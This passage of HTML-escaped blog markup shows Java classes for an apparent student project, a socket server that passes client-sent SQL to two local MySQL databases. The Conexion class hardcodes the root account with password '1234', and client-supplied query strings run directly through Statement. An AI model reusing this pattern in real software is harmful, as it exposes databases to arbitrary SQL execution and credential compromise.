/&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.AgregarCliente(cliente);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (IOException ex) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Principal.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public static void main(String arg[]){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase HiloManejador&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.Socket;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Level;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Logger;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class HiloManejador extends Thread{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Socket clienteA=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Socket clienteB=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; ArrayList&amp;lt;Socket&amp;gt; clientesespera;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int cont=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; boolean swbd1=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; boolean swbd2=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public HiloManejador(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; clientesespera=new ArrayList&amp;lt;Socket&amp;gt;();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; @Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void run(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while(true){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(cont&amp;lt;clientesespera.size()){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(swbd1==false){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Cliente c=new Cliente(clientesespera.get(cont),1,this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; c.start();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; swbd1=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(swbd2==false){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Cliente c=new Cliente(clientesespera.get(cont),2,this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; c.start();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; swbd2=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Base de datos ocupadas, por favor espere a que un proceso desocupe una de ellas.");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cont--;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Thread.sleep(1000);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (InterruptedException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(HiloManejador.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cont++;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void AgregarCliente(Socket s){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; clientesespera.add(s);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Conexion&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.sql.Connection;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.sql.DriverManager;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.sql.ResultSet;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.sql.SQLException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.sql.Statement;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Level;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Logger;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class Conexion {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public Connection getConexion(int bd){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Connection conexion=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Class.forName("com.mysql.jdbc.Driver");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(bd==1){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; conexion = DriverManager.getConnection("jdbc:mysql://localhost/parcialfinal", "root", "1234");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(bd==2){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; conexion = DriverManager.getConnection("jdbc:mysql://localhost/parcialfinal2", "root", "1234");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (SQLException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Conexion.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (ClassNotFoundException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Conexion.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return conexion;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public boolean InsertarUsuario(String consulta,int bd){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; boolean sw=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Connection con = getConexion(bd);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Statement st = con.createStatement();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; st.executeUpdate(""+consulta);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; st.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sw=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; con.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (SQLException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Conexion.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sw=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return sw;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public String ConsultarDatos(String consulta,int bd){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String datos="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Connection con = getConexion(bd);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Statement st = con.createStatement();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ResultSet rs=st.executeQuery(""+consulta);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while(rs.next()){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; datos+=""+rs.getString(1);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; st.close();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (SQLException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Logger.getLogger(Conexion.class.getName()).log(Level.SEVERE, null, ex);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return datos;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Cliente&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.DataInputStream;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.DataOutputStream;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.io.IOException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.Socket;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Level;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.util.logging.Logger;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class Cliente extends Thread{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Conexion c;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int tipo=-1;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; String consulta="";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int basedatos=-1;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; HiloManejador hm;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; DataInputStream dis = null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; DataOutputStream dos=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public Cliente(Socket s,int bd,HiloManejador hilom){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; c = new Conexion();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dis = new DataInputStream(s.getInputStream());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; dos=new DataOutputStream(s.getOutputStream());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int t = dis.readInt();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String con = dis.readUTF();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; tipo = t;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; consulta = con;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; basedatos = bd;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm = hilom;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (basedatos == 1) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.swbd1 = true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Cliente Conectado a Base de Datos 1");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (basedatos == 2) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hm.swbd2 = true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; System.out.println("Cliente Conectado a Base de Datos 2");&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } catch (IOException ex) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 